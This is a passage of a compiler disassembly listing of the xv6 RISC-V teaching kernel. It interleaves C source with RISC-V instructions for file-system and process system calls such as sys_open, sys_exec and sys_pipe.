980(ra) # 80003f16 <iunlockput> ip->nlink--; 80005b4a: 04a95783 lhu a5,74(s2) 80005b4e: 37fd addiw a5,a5,-1 80005b50: 04f91523 sh a5,74(s2) iupdate(ip); 80005b54: 854a mv a0,s2 80005b56: ffffe097 auipc ra,0xffffe 80005b5a: 094080e7 jalr 148(ra) # 80003bea <iupdate> iunlockput(ip); 80005b5e: 854a mv a0,s2 80005b60: ffffe097 auipc ra,0xffffe 80005b64: 3b6080e7 jalr 950(ra) # 80003f16 <iunlockput> end_op(); 80005b68: fffff097 auipc ra,0xfffff 80005b6c: ba2080e7 jalr -1118(ra) # 8000470a <end_op> return 0; 80005b70: 4501 li a0,0 80005b72: a84d j 80005c24 <sys_unlink+0x1c4> end_op(); 80005b74: fffff097 auipc ra,0xfffff 80005b78: b96080e7 jalr -1130(ra) # 8000470a <end_op> return -1; 80005b7c: 557d li a0,-1 80005b7e: a05d j 80005c24 <sys_unlink+0x1c4> panic("unlink: nlink < 1"); 80005b80: 00003517 auipc a0,0x3 80005b84: dd850513 addi a0,a0,-552 # 80008958 <syscalls+0x328> 80005b88: ffffb097 auipc ra,0xffffb 80005b8c: 9a2080e7 jalr -1630(ra) # 8000052a <panic> for(off=2*sizeof(de); off<dp->size; off+=sizeof(de)){ 80005b90: 04c92703 lw a4,76(s2) 80005b94: 02000793 li a5,32 80005b98: f6e7f9e3 bgeu a5,a4,80005b0a <sys_unlink+0xaa> 80005b9c: 02000993 li s3,32 if(readi(dp, 0, (uint64)&de, off, sizeof(de)) != sizeof(de)) 80005ba0: 4741 li a4,16 80005ba2: 86ce mv a3,s3 80005ba4: f1840613 addi a2,s0,-232 80005ba8: 4581 li a1,0 80005baa: 854a mv a0,s2 80005bac: ffffe097 auipc ra,0xffffe 80005bb0: 3bc080e7 jalr 956(ra) # 80003f68 <readi> 80005bb4: 47c1 li a5,16 80005bb6: 00f51b63 bne a0,a5,80005bcc <sys_unlink+0x16c> if(de.inum != 0) 80005bba: f1845783 lhu a5,-232(s0) 80005bbe: e7a1 bnez a5,80005c06 <sys_unlink+0x1a6> for(off=2*sizeof(de); off<dp->size; off+=sizeof(de)){ 80005bc0: 29c1 addiw s3,s3,16 80005bc2: 04c92783 lw a5,76(s2) 80005bc6: fcf9ede3 bltu s3,a5,80005ba0 <sys_unlink+0x140> 80005bca: b781 j 80005b0a <sys_unlink+0xaa> panic("isdirempty: readi"); 80005bcc: 00003517 auipc a0,0x3 80005bd0: da450513 addi a0,a0,-604 # 80008970 <syscalls+0x340> 80005bd4: ffffb097 auipc ra,0xffffb 80005bd8: 956080e7 jalr -1706(ra) # 8000052a <panic> panic("unlink: writei"); 80005bdc: 00003517 auipc a0,0x3 80005be0: dac50513 addi a0,a0,-596 # 80008988 <syscalls+0x358> 80005be4: ffffb097 auipc ra,0xffffb 80005be8: 946080e7 jalr -1722(ra) # 8000052a <panic> dp->nlink--; 80005bec: 04a4d783 lhu a5,74(s1) 80005bf0: 37fd addiw a5,a5,-1 80005bf2: 04f49523 sh a5,74(s1) iupdate(dp); 80005bf6: 8526 mv a0,s1 80005bf8: ffffe097 auipc ra,0xffffe 80005bfc: ff2080e7 jalr -14(ra) # 80003bea <iupdate> 80005c00: b781 j 80005b40 <sys_unlink+0xe0> return -1; 80005c02: 557d li a0,-1 80005c04: a005 j 80005c24 <sys_unlink+0x1c4> iunlockput(ip); 80005c06: 854a mv a0,s2 80005c08: ffffe097 auipc ra,0xffffe 80005c0c: 30e080e7 jalr 782(ra) # 80003f16 <iunlockput> iunlockput(dp); 80005c10: 8526 mv a0,s1 80005c12: ffffe097 auipc ra,0xffffe 80005c16: 304080e7 jalr 772(ra) # 80003f16 <iunlockput> end_op(); 80005c1a: fffff097 auipc ra,0xfffff 80005c1e: af0080e7 jalr -1296(ra) # 8000470a <end_op> return -1; 80005c22: 557d li a0,-1 } 80005c24: 70ae ld ra,232(sp) 80005c26: 740e ld s0,224(sp) 80005c28: 64ee ld s1,216(sp) 80005c2a: 694e ld s2,208(sp) 80005c2c: 69ae ld s3,200(sp) 80005c2e: 616d addi sp,sp,240 80005c30: 8082 ret 0000000080005c32 <sys_open>: uint64 sys_open(void) { 80005c32: 7131 addi sp,sp,-192 80005c34: fd06 sd ra,184(sp) 80005c36: f922 sd s0,176(sp) 80005c38: f526 sd s1,168(sp) 80005c3a: f14a sd s2,160(sp) 80005c3c: ed4e sd s3,152(sp) 80005c3e: 0180 addi s0,sp,192 int fd, omode; struct file *f; struct inode *ip; int n; if((n = argstr(0, path, MAXPATH)) < 0 || argint(1, &omode) < 0) 80005c40: 08000613 li a2,128 80005c44: f5040593 addi a1,s0,-176 80005c48: 4501 li a0,0 80005c4a: ffffd097 auipc ra,0xffffd 80005c4e: 3fc080e7 jalr 1020(ra) # 80003046 <argstr> return -1; 80005c52: 54fd li s1,-1 if((n = argstr(0, path, MAXPATH)) < 0 || argint(1, &omode) < 0) 80005c54: 0c054163 bltz a0,80005d16 <sys_open+0xe4> 80005c58: f4c40593 addi a1,s0,-180 80005c5c: 4505 li a0,1 80005c5e: ffffd097 auipc ra,0xffffd 80005c62: 3a4080e7 jalr 932(ra) # 80003002 <argint> 80005c66: 0a054863 bltz a0,80005d16 <sys_open+0xe4> begin_op(); 80005c6a: fffff097 auipc ra,0xfffff 80005c6e: a20080e7 jalr -1504(ra) # 8000468a <begin_op> if(omode & O_CREATE){ 80005c72: f4c42783 lw a5,-180(s0) 80005c76: 2007f793 andi a5,a5,512 80005c7a: cbdd beqz a5,80005d30 <sys_open+0xfe> ip = create(path, T_FILE, 0, 0); 80005c7c: 4681 li a3,0 80005c7e: 4601 li a2,0 80005c80: 4589 li a1,2 80005c82: f5040513 addi a0,s0,-176 80005c86: 00000097 auipc ra,0x0 80005c8a: 974080e7 jalr -1676(ra) # 800055fa <create> 80005c8e: 892a mv s2,a0 if(ip == 0){ 80005c90: c959 beqz a0,80005d26 <sys_open+0xf4> end_op(); return -1; } } if(ip->type == T_DEVICE && (ip->major < 0 || ip->major >= NDEV)){ 80005c92: 04491703 lh a4,68(s2) 80005c96: 478d li a5,3 80005c98: 00f71763 bne a4,a5,80005ca6 <sys_open+0x74> 80005c9c: 04695703 lhu a4,70(s2) 80005ca0: 47a5 li a5,9 80005ca2: 0ce7ec63 bltu a5,a4,80005d7a <sys_open+0x148> iunlockput(ip); end_op(); return -1; } if((f = filealloc()) == 0 || (fd = fdalloc(f)) < 0){ 80005ca6: fffff097 auipc ra,0xfffff 80005caa: df4080e7 jalr -524(ra) # 80004a9a <filealloc> 80005cae: 89aa mv s3,a0 80005cb0: 10050263 beqz a0,80005db4 <sys_open+0x182> 80005cb4: 00000097 auipc ra,0x0 80005cb8: 904080e7 jalr -1788(ra) # 800055b8 <fdalloc> 80005cbc: 84aa mv s1,a0 80005cbe: 0e054663 bltz a0,80005daa <sys_open+0x178> iunlockput(ip); end_op(); return -1; } if(ip->type == T_DEVICE){ 80005cc2: 04491703 lh a4,68(s2) 80005cc6: 478d li a5,3 80005cc8: 0cf70463 beq a4,a5,80005d90 <sys_open+0x15e> f->type = FD_DEVICE; f->major = ip->major; } else { f->type = FD_INODE; 80005ccc: 4789 li a5,2 80005cce: 00f9a023 sw a5,0(s3) f->off = 0; 80005cd2: 0209a023 sw zero,32(s3) } f->ip = ip; 80005cd6: 0129bc23 sd s2,24(s3) f->readable = !(omode & O_WRONLY); 80005cda: f4c42783 lw a5,-180(s0) 80005cde: 0017c713 xori a4,a5,1 80005ce2: 8b05 andi a4,a4,1 80005ce4: 00e98423 sb a4,8(s3) f->writable = (omode & O_WRONLY) || (omode & O_RDWR); 80005ce8: 0037f713 andi a4,a5,3 80005cec: 00e03733 snez a4,a4 80005cf0: 00e984a3 sb a4,9(s3) if((omode & O_TRUNC) && ip->type == T_FILE){ 80005cf4: 4007f793 andi a5,a5,1024 80005cf8: c791 beqz a5,80005d04 <sys_open+0xd2> 80005cfa: 04491703 lh a4,68(s2) 80005cfe: 4789 li a5,2 80005d00: 08f70f63 beq a4,a5,80005d9e <sys_open+0x16c> itrunc(ip); } iunlock(ip); 80005d04: 854a mv a0,s2 80005d06: ffffe097 auipc ra,0xffffe 80005d0a: 070080e7 jalr 112(ra) # 80003d76 <iunlock> end_op(); 80005d0e: fffff097 auipc ra,0xfffff 80005d12: 9fc080e7 jalr -1540(ra) # 8000470a <end_op> return fd; } 80005d16: 8526 mv a0,s1 80005d18: 70ea ld ra,184(sp) 80005d1a: 744a ld s0,176(sp) 80005d1c: 74aa ld s1,168(sp) 80005d1e: 790a ld s2,160(sp) 80005d20: 69ea ld s3,152(sp) 80005d22: 6129 addi sp,sp,192 80005d24: 8082 ret end_op(); 80005d26: fffff097 auipc ra,0xfffff 80005d2a: 9e4080e7 jalr -1564(ra) # 8000470a <end_op> return -1; 80005d2e: b7e5 j 80005d16 <sys_open+0xe4> if((ip = namei(path)) == 0){ 80005d30: f5040513 addi a0,s0,-176 80005d34: ffffe097 auipc ra,0xffffe 80005d38: 736080e7 jalr 1846(ra) # 8000446a <namei> 80005d3c: 892a mv s2,a0 80005d3e: c905 beqz a0,80005d6e <sys_open+0x13c> ilock(ip); 80005d40: ffffe097 auipc ra,0xffffe 80005d44: f74080e7 jalr -140(ra) # 80003cb4 <ilock> if(ip->type == T_DIR && omode != O_RDONLY){ 80005d48: 04491703 lh a4,68(s2) 80005d4c: 4785 li a5,1 80005d4e: f4f712e3 bne a4,a5,80005c92 <sys_open+0x60> 80005d52: f4c42783 lw a5,-180(s0) 80005d56: dba1 beqz a5,80005ca6 <sys_open+0x74> iunlockput(ip); 80005d58: 854a mv a0,s2 80005d5a: ffffe097 auipc ra,0xffffe 80005d5e: 1bc080e7 jalr 444(ra) # 80003f16 <iunlockput> end_op(); 80005d62: fffff097 auipc ra,0xfffff 80005d66: 9a8080e7 jalr -1624(ra) # 8000470a <end_op> return -1; 80005d6a: 54fd li s1,-1 80005d6c: b76d j 80005d16 <sys_open+0xe4> end_op(); 80005d6e: fffff097 auipc ra,0xfffff 80005d72: 99c080e7 jalr -1636(ra) # 8000470a <end_op> return -1; 80005d76: 54fd li s1,-1 80005d78: bf79 j 80005d16 <sys_open+0xe4> iunlockput(ip); 80005d7a: 854a mv a0,s2 80005d7c: ffffe097 auipc ra,0xffffe 80005d80: 19a080e7 jalr 410(ra) # 80003f16 <iunlockput> end_op(); 80005d84: fffff097 auipc ra,0xfffff 80005d88: 986080e7 jalr -1658(ra) # 8000470a <end_op> return -1; 80005d8c: 54fd li s1,-1 80005d8e: b761 j 80005d16 <sys_open+0xe4> f->type = FD_DEVICE; 80005d90: 00f9a023 sw a5,0(s3) f->major = ip->major; 80005d94: 04691783 lh a5,70(s2) 80005d98: 02f99223 sh a5,36(s3) 80005d9c: bf2d j 80005cd6 <sys_open+0xa4> itrunc(ip); 80005d9e: 854a mv a0,s2 80005da0: ffffe097 auipc ra,0xffffe 80005da4: 022080e7 jalr 34(ra) # 80003dc2 <itrunc> 80005da8: bfb1 j 80005d04 <sys_open+0xd2> fileclose(f); 80005daa: 854e mv a0,s3 80005dac: fffff097 auipc ra,0xfffff 80005db0: daa080e7 jalr -598(ra) # 80004b56 <fileclose> iunlockput(ip); 80005db4: 854a mv a0,s2 80005db6: ffffe097 auipc ra,0xffffe 80005dba: 160080e7 jalr 352(ra) # 80003f16 <iunlockput> end_op(); 80005dbe: fffff097 auipc ra,0xfffff 80005dc2: 94c080e7 jalr -1716(ra) # 8000470a <end_op> return -1; 80005dc6: 54fd li s1,-1 80005dc8: b7b9 j 80005d16 <sys_open+0xe4> 0000000080005dca <sys_mkdir>: uint64 sys_mkdir(void) { 80005dca: 7175 addi sp,sp,-144 80005dcc: e506 sd ra,136(sp) 80005dce: e122 sd s0,128(sp) 80005dd0: 0900 addi s0,sp,144 char path[MAXPATH]; struct inode *ip; begin_op(); 80005dd2: fffff097 auipc ra,0xfffff 80005dd6: 8b8080e7 jalr -1864(ra) # 8000468a <begin_op> if(argstr(0, path, MAXPATH) < 0 || (ip = create(path, T_DIR, 0, 0)) == 0){ 80005dda: 08000613 li a2,128 80005dde: f7040593 addi a1,s0,-144 80005de2: 4501 li a0,0 80005de4: ffffd097 auipc ra,0xffffd 80005de8: 262080e7 jalr 610(ra) # 80003046 <argstr> 80005dec: 02054963 bltz a0,80005e1e <sys_mkdir+0x54> 80005df0: 4681 li a3,0 80005df2: 4601 li a2,0 80005df4: 4585 li a1,1 80005df6: f7040513 addi a0,s0,-144 80005dfa: 00000097 auipc ra,0x0 80005dfe: 800080e7 jalr -2048(ra) # 800055fa <create> 80005e02: cd11 beqz a0,80005e1e <sys_mkdir+0x54> end_op(); return -1; } iunlockput(ip); 80005e04: ffffe097 auipc ra,0xffffe 80005e08: 112080e7 jalr 274(ra) # 80003f16 <iunlockput> end_op(); 80005e0c: fffff097 auipc ra,0xfffff 80005e10: 8fe080e7 jalr -1794(ra) # 8000470a <end_op> return 0; 80005e14: 4501 li a0,0 } 80005e16: 60aa ld ra,136(sp) 80005e18: 640a ld s0,128(sp) 80005e1a: 6149 addi sp,sp,144 80005e1c: 8082 ret end_op(); 80005e1e: fffff097 auipc ra,0xfffff 80005e22: 8ec080e7 jalr -1812(ra) # 8000470a <end_op> return -1; 80005e26: 557d li a0,-1 80005e28: b7fd j 80005e16 <sys_mkdir+0x4c> 0000000080005e2a <sys_mknod>: uint64 sys_mknod(void) { 80005e2a: 7135 addi sp,sp,-160 80005e2c: ed06 sd ra,152(sp) 80005e2e: e922 sd s0,144(sp) 80005e30: 1100 addi s0,sp,160 struct inode *ip; char path[MAXPATH]; int major, minor; begin_op(); 80005e32: fffff097 auipc ra,0xfffff 80005e36: 858080e7 jalr -1960(ra) # 8000468a <begin_op> if((argstr(0, path, MAXPATH)) < 0 || 80005e3a: 08000613 li a2,128 80005e3e: f7040593 addi a1,s0,-144 80005e42: 4501 li a0,0 80005e44: ffffd097 auipc ra,0xffffd 80005e48: 202080e7 jalr 514(ra) # 80003046 <argstr> 80005e4c: 04054a63 bltz a0,80005ea0 <sys_mknod+0x76> argint(1, &major) < 0 || 80005e50: f6c40593 addi a1,s0,-148 80005e54: 4505 li a0,1 80005e56: ffffd097 auipc ra,0xffffd 80005e5a: 1ac080e7 jalr 428(ra) # 80003002 <argint> if((argstr(0, path, MAXPATH)) < 0 || 80005e5e: 04054163 bltz a0,80005ea0 <sys_mknod+0x76> argint(2, &minor) < 0 || 80005e62: f6840593 addi a1,s0,-152 80005e66: 4509 li a0,2 80005e68: ffffd097 auipc ra,0xffffd 80005e6c: 19a080e7 jalr 410(ra) # 80003002 <argint> argint(1, &major) < 0 || 80005e70: 02054863 bltz a0,80005ea0 <sys_mknod+0x76> (ip = create(path, T_DEVICE, major, minor)) == 0){ 80005e74: f6841683 lh a3,-152(s0) 80005e78: f6c41603 lh a2,-148(s0) 80005e7c: 458d li a1,3 80005e7e: f7040513 addi a0,s0,-144 80005e82: fffff097 auipc ra,0xfffff 80005e86: 778080e7 jalr 1912(ra) # 800055fa <create> argint(2, &minor) < 0 || 80005e8a: c919 beqz a0,80005ea0 <sys_mknod+0x76> end_op(); return -1; } iunlockput(ip); 80005e8c: ffffe097 auipc ra,0xffffe 80005e90: 08a080e7 jalr 138(ra) # 80003f16 <iunlockput> end_op(); 80005e94: fffff097 auipc ra,0xfffff 80005e98: 876080e7 jalr -1930(ra) # 8000470a <end_op> return 0; 80005e9c: 4501 li a0,0 80005e9e: a031 j 80005eaa <sys_mknod+0x80> end_op(); 80005ea0: fffff097 auipc ra,0xfffff 80005ea4: 86a080e7 jalr -1942(ra) # 8000470a <end_op> return -1; 80005ea8: 557d li a0,-1 } 80005eaa: 60ea ld ra,152(sp) 80005eac: 644a ld s0,144(sp) 80005eae: 610d addi sp,sp,160 80005eb0: 8082 ret 0000000080005eb2 <sys_chdir>: uint64 sys_chdir(void) { 80005eb2: 7135 addi sp,sp,-160 80005eb4: ed06 sd ra,152(sp) 80005eb6: e922 sd s0,144(sp) 80005eb8: e526 sd s1,136(sp) 80005eba: e14a sd s2,128(sp) 80005ebc: 1100 addi s0,sp,160 char path[MAXPATH]; struct inode *ip; struct proc *p = myproc(); 80005ebe: ffffc097 auipc ra,0xffffc 80005ec2: ad8080e7 jalr -1320(ra) # 80001996 <myproc> 80005ec6: 892a mv s2,a0 begin_op(); 80005ec8: ffffe097 auipc ra,0xffffe 80005ecc: 7c2080e7 jalr 1986(ra) # 8000468a <begin_op> if(argstr(0, path, MAXPATH) < 0 || (ip = namei(path)) == 0){ 80005ed0: 08000613 li a2,128 80005ed4: f6040593 addi a1,s0,-160 80005ed8: 4501 li a0,0 80005eda: ffffd097 auipc ra,0xffffd 80005ede: 16c080e7 jalr 364(ra) # 80003046 <argstr> 80005ee2: 04054b63 bltz a0,80005f38 <sys_chdir+0x86> 80005ee6: f6040513 addi a0,s0,-160 80005eea: ffffe097 auipc ra,0xffffe 80005eee: 580080e7 jalr 1408(ra) # 8000446a <namei> 80005ef2: 84aa mv s1,a0 80005ef4: c131 beqz a0,80005f38 <sys_chdir+0x86> end_op(); return -1; } ilock(ip); 80005ef6: ffffe097 auipc ra,0xffffe 80005efa: dbe080e7 jalr -578(ra) # 80003cb4 <ilock> if(ip->type != T_DIR){ 80005efe: 04449703 lh a4,68(s1) 80005f02: 4785 li a5,1 80005f04: 04f71063 bne a4,a5,80005f44 <sys_chdir+0x92> iunlockput(ip); end_op(); return -1; } iunlock(ip); 80005f08: 8526 mv a0,s1 80005f0a: ffffe097 auipc ra,0xffffe 80005f0e: e6c080e7 jalr -404(ra) # 80003d76 <iunlock> iput(p->cwd); 80005f12: 17093503 ld a0,368(s2) 80005f16: ffffe097 auipc ra,0xffffe 80005f1a: f58080e7 jalr -168(ra) # 80003e6e <iput> end_op(); 80005f1e: ffffe097 auipc ra,0xffffe 80005f22: 7ec080e7 jalr 2028(ra) # 8000470a <end_op> p->cwd = ip; 80005f26: 16993823 sd s1,368(s2) return 0; 80005f2a: 4501 li a0,0 } 80005f2c: 60ea ld ra,152(sp) 80005f2e: 644a ld s0,144(sp) 80005f30: 64aa ld s1,136(sp) 80005f32: 690a ld s2,128(sp) 80005f34: 610d addi sp,sp,160 80005f36: 8082 ret end_op(); 80005f38: ffffe097 auipc ra,0xffffe 80005f3c: 7d2080e7 jalr 2002(ra) # 8000470a <end_op> return -1; 80005f40: 557d li a0,-1 80005f42: b7ed j 80005f2c <sys_chdir+0x7a> iunlockput(ip); 80005f44: 8526 mv a0,s1 80005f46: ffffe097 auipc ra,0xffffe 80005f4a: fd0080e7 jalr -48(ra) # 80003f16 <iunlockput> end_op(); 80005f4e: ffffe097 auipc ra,0xffffe 80005f52: 7bc080e7 jalr 1980(ra) # 8000470a <end_op> return -1; 80005f56: 557d li a0,-1 80005f58: bfd1 j 80005f2c <sys_chdir+0x7a> 0000000080005f5a <sys_exec>: uint64 sys_exec(void) { 80005f5a: 7145 addi sp,sp,-464 80005f5c: e786 sd ra,456(sp) 80005f5e: e3a2 sd s0,448(sp) 80005f60: ff26 sd s1,440(sp) 80005f62: fb4a sd s2,432(sp) 80005f64: f74e sd s3,424(sp) 80005f66: f352 sd s4,416(sp) 80005f68: ef56 sd s5,408(sp) 80005f6a: 0b80 addi s0,sp,464 char path[MAXPATH], *argv[MAXARG]; int i; uint64 uargv, uarg; if(argstr(0, path, MAXPATH) < 0 || argaddr(1, &uargv) < 0){ 80005f6c: 08000613 li a2,128 80005f70: f4040593 addi a1,s0,-192 80005f74: 4501 li a0,0 80005f76: ffffd097 auipc ra,0xffffd 80005f7a: 0d0080e7 jalr 208(ra) # 80003046 <argstr> return -1; 80005f7e: 597d li s2,-1 if(argstr(0, path, MAXPATH) < 0 || argaddr(1, &uargv) < 0){ 80005f80: 0c054a63 bltz a0,80006054 <sys_exec+0xfa> 80005f84: e3840593 addi a1,s0,-456 80005f88: 4505 li a0,1 80005f8a: ffffd097 auipc ra,0xffffd 80005f8e: 09a080e7 jalr 154(ra) # 80003024 <argaddr> 80005f92: 0c054163 bltz a0,80006054 <sys_exec+0xfa> } memset(argv, 0, sizeof(argv)); 80005f96: 10000613 li a2,256 80005f9a: 4581 li a1,0 80005f9c: e4040513 addi a0,s0,-448 80005fa0: ffffb097 auipc ra,0xffffb 80005fa4: d1e080e7 jalr -738(ra) # 80000cbe <memset> for(i=0;; i++){ if(i >= NELEM(argv)){ 80005fa8: e4040493 addi s1,s0,-448 memset(argv, 0, sizeof(argv)); 80005fac: 89a6 mv s3,s1 80005fae: 4901 li s2,0 if(i >= NELEM(argv)){ 80005fb0: 02000a13 li s4,32 80005fb4: 00090a9b sext.w s5,s2 goto bad; } if(fetchaddr(uargv+sizeof(uint64)*i, (uint64*)&uarg) < 0){ 80005fb8: 00391793 slli a5,s2,0x3 80005fbc: e3040593 addi a1,s0,-464 80005fc0: e3843503 ld a0,-456(s0) 80005fc4: 953e add a0,a0,a5 80005fc6: ffffd097 auipc ra,0xffffd 80005fca: fa2080e7 jalr -94(ra) # 80002f68 <fetchaddr> 80005fce: 02054a63 bltz a0,80006002 <sys_exec+0xa8> goto bad; } if(uarg == 0){ 80005fd2: e3043783 ld a5,-464(s0) 80005fd6: c3b9 beqz a5,8000601c <sys_exec+0xc2> argv[i] = 0; break; } argv[i] = kalloc(); 80005fd8: ffffb097 auipc ra,0xffffb 80005fdc: afa080e7 jalr -1286(ra) # 80000ad2 <kalloc> 80005fe0: 85aa mv a1,a0 80005fe2: 00a9b023 sd a0,0(s3) if(argv[i] == 0) 80005fe6: cd11 beqz a0,80006002 <sys_exec+0xa8> goto bad; if(fetchstr(uarg, argv[i], PGSIZE) < 0) 80005fe8: 6605 lui a2,0x1 80005fea: e3043503 ld a0,-464(s0) 80005fee: ffffd097 auipc ra,0xffffd 80005ff2: fcc080e7 jalr -52(ra) # 80002fba <fetchstr> 80005ff6: 00054663 bltz a0,80006002 <sys_exec+0xa8> if(i >= NELEM(argv)){ 80005ffa: 0905 addi s2,s2,1 80005ffc: 09a1 addi s3,s3,8 80005ffe: fb491be3 bne s2,s4,80005fb4 <sys_exec+0x5a> kfree(argv[i]); return ret; bad: for(i = 0; i < NELEM(argv) && argv[i] != 0; i++) 80006002: 10048913 addi s2,s1,256 80006006: 6088 ld a0,0(s1) 80006008: c529 beqz a0,80006052 <sys_exec+0xf8> kfree(argv[i]); 8000600a: ffffb097 auipc ra,0xffffb 8000600e: 9cc080e7 jalr -1588(ra) # 800009d6 <kfree> for(i = 0; i < NELEM(argv) && argv[i] != 0; i++) 80006012: 04a1 addi s1,s1,8 80006014: ff2499e3 bne s1,s2,80006006 <sys_exec+0xac> return -1; 80006018: 597d li s2,-1 8000601a: a82d j 80006054 <sys_exec+0xfa> argv[i] = 0; 8000601c: 0a8e slli s5,s5,0x3 8000601e: fc040793 addi a5,s0,-64 80006022: 9abe add s5,s5,a5 80006024: e80ab023 sd zero,-384(s5) # ffffffffffffee80 <end+0xffffffff7ffd8e80> int ret = exec(path, argv); 80006028: e4040593 addi a1,s0,-448 8000602c: f4040513 addi a0,s0,-192 80006030: fffff097 auipc ra,0xfffff 80006034: 178080e7 jalr 376(ra) # 800051a8 <exec> 80006038: 892a mv s2,a0 for(i = 0; i < NELEM(argv) && argv[i] != 0; i++) 8000603a: 10048993 addi s3,s1,256 8000603e: 6088 ld a0,0(s1) 80006040: c911 beqz a0,80006054 <sys_exec+0xfa> kfree(argv[i]); 80006042: ffffb097 auipc ra,0xffffb 80006046: 994080e7 jalr -1644(ra) # 800009d6 <kfree> for(i = 0; i < NELEM(argv) && argv[i] != 0; i++) 8000604a: 04a1 addi s1,s1,8 8000604c: ff3499e3 bne s1,s3,8000603e <sys_exec+0xe4> 80006050: a011 j 80006054 <sys_exec+0xfa> return -1; 80006052: 597d li s2,-1 } 80006054: 854a mv a0,s2 80006056: 60be ld ra,456(sp) 80006058: 641e ld s0,448(sp) 8000605a: 74fa ld s1,440(sp) 8000605c: 795a ld s2,432(sp) 8000605e: 79ba ld s3,424(sp) 80006060: 7a1a ld s4,416(sp) 80006062: 6afa ld s5,408(sp) 80006064: 6179 addi sp,sp,464 80006066: 8082 ret 0000000080006068 <sys_pipe>: uint64 sys_pipe(void) { 80006068: 7139 addi sp,sp,-64 8000606a: fc06 sd ra,56(sp) 8000606c: f822 sd s0,48(sp) 8000606e: f426 sd s1,40(sp) 80006070: 0080 addi s0,sp,64 uint64 fdarray; // user pointer to array of two integers struct file *rf, *wf; int fd0, fd1; struct proc *p = myproc(); 80006072: ffffc097 auipc ra,0xffffc 80006076: 924080e7 jalr -1756(ra) # 80001996 <myproc> 8000607a: 84aa mv s1,a0 if(argaddr(0, &fdarray) < 0) 8000607c: fd840593 addi a1,s0,-40 80006080: 4501 li a0,0 80006082: ffffd097 auipc ra,0xffffd 80006086: fa2080e7 jalr -94(ra) # 80003024 <argaddr> return -1; 8000608a: 57fd li a5,-1 if(argaddr(0, &fdarray) < 0) 8000608c: 0e054063 bltz a0,8000616c <sys_pipe+0x104> if(pipealloc(&rf, &wf) < 0) 80006090: fc840593 addi a1,s0,-56 80006094: fd040513 addi a0,s0,-48 80006098: fffff097 auipc ra,0xfffff 8000609c: dee080e7 jalr -530(ra) # 80004e86 <pipealloc> return -1; 800060a0: 57fd li a5,-1 if(pipealloc(&rf, &wf) < 0) 800060a2: 0c054563 bltz a0,8000616c <sys_pipe+0x104> fd0 = -1; 800060a6: fcf42223 sw a5,-60(s0) if((fd0 = fdalloc(rf)) < 0 || (fd1 = fdalloc(wf)) < 0){ 800060aa: fd043503 ld a0,-48(s0) 800060ae: fffff097 auipc ra,0xfffff 800060b2: 50a080e7 jalr 1290(ra) # 800055b8 <fdalloc> 800060b6: fca42223 sw a0,-60(s0) 800060ba: 08054c63 bltz a0,80006152 <sys_pipe+0xea> 800060be: fc843503 ld a0,-56(s0) 800060c2: fffff097 auipc ra,0xfffff 800060c6: 4f6080e7 jalr 1270(ra) # 800055b8 <fdalloc> 800060ca: fca42023 sw a0,-64(s0) 800060ce: 06054863 bltz a0,8000613e <sys_pipe+0xd6> p->ofile[fd0] = 0; fileclose(rf); fileclose(wf); return -1; } if(copyout(p->pagetable, fdarray, (char*)&fd0, sizeof(fd0)) < 0 || 800060d2: 4691 li a3,4 800060d4: fc440613 addi a2,s0,-60 800060d8: fd843583 ld a1,-40(s0) 800060dc: 78a8 ld a0,112(s1) 800060de: ffffb097 auipc ra,0xffffb 800060e2: 560080e7 jalr 1376(ra) # 8000163e <copyout> 800060e6: 02054063 bltz a0,80006106 <sys_pipe+0x9e> copyout(p->pagetable, fdarray+sizeof(fd0), (char *)&fd1, sizeof(fd1)) < 0){ 800060ea: 4691 li a3,4 800060ec: fc040613 addi a2,s0,-64 800060f0: fd843583 ld a1,-40(s0) 800060f4: 0591 addi a1,a1,4 800060f6: 78a8 ld a0,112(s1) 800060f8: ffffb097 auipc ra,0xffffb 800060fc: 546080e7 jalr 1350(ra) # 8000163e <copyout> p->ofile[fd1] = 0; fileclose(rf); fileclose(wf); return -1; } return 0; 80006100: 4781 li a5,0 if(copyout(p->pagetable, fdarray, (char*)&fd0, sizeof(fd0)) < 0 || 80006102: 06055563 bgez a0,8000616c <sys_pipe+0x104> p->ofile[fd0] = 0; 80006106: fc442783 lw a5,-60(s0) 8000610a: 07f9 addi a5,a5,30 8000610c: 078e slli a5,a5,0x3 8000610e: 97a6 add a5,a5,s1 80006110: 0007b023 sd zero,0(a5) p->ofile[fd1] = 0; 80006114: fc042503 lw a0,-64(s0) 80006118: 0579 addi a0,a0,30 8000611a: 050e slli a0,a0,0x3 8000611c: 9526 add a0,a0,s1 8000611e: 00053023 sd zero,0(a0) fileclose(rf); 80006122: fd043503 ld a0,-48(s0) 80006126: fffff097 auipc ra,0xfffff 8000612a: a30080e7 jalr -1488(ra) # 80004b56 <fileclose> fileclose(wf); 8000612e: fc843503 ld a0,-56(s0) 80006132: fffff097 auipc ra,0xfffff 80006136: a24080e7 jalr -1500(ra) # 80004b56 <fileclose> return -1; 8000613a: 57fd li a5,-1 8000613c: a805 j 8000616c <sys_pipe+0x104> if(fd0 >= 0) 8000613e: fc442783 lw a5,-60(s0) 80006142: 0007c863 bltz a5,80006152 <sys_pipe+0xea> p->ofile[fd0] = 0; 80006146: 01e78513 addi a0,a5,30 8000614a: 050e slli a0,a0,0x3 8000614c: 9526 add a0,a0,s1 8000614e: 00053023 sd zero,0(a0) fileclose(rf); 80006152: fd043503 ld a0,-48(s0) 80006156: fffff097 auipc ra,0xfffff 8000615a: a00080e7 jalr -1536(ra) # 80004b56 <fileclose> fileclose(wf); 8000615e: fc843503 ld a0,-56(s0) 80006162: fffff097 auipc ra,0xfffff 80006166: 9f4080e7 jalr -1548(ra) # 80004b56 <fileclose> return -1; 8000616a: 57fd li a5,-1 } 8000616c: 853e mv a0,a5 8000616e: 70e2 ld ra,56(sp) 80006170: 7442 ld s0,48(sp) 80006172: 74a2 ld s1,40(sp) 80006174: 6121 addi sp,sp,64 80006176: 8082 ret ... 0000000080006180 <kernelvec>: 80006180: 7111 addi sp,sp,-256 80006182: e006 sd ra,0(sp) 80006184: e40a sd sp,8(sp) 80006186: e80e sd gp,16(sp) 80006188: ec12 sd tp,24(sp) 8000618a: f016 sd t0,32(sp) 8000618c: f41a sd t1,40(sp) 8000618e: f81e sd t2,48(sp) 80006190: fc22 sd s0,56(sp) 80006192: e0a6 sd s1,64(sp) 80006194: e4aa sd a0,72(sp) 80006196: e8ae sd a1,80(sp) 80006198: ecb2 sd a2,88(sp) 8000619a: f0b6 sd a3,96(sp) 8000619c: f4ba sd a4,104(sp) 8000619e: f8be sd a5,112(sp) 800061a0: fcc2 sd a6,120(sp) 800061a2: e146 sd 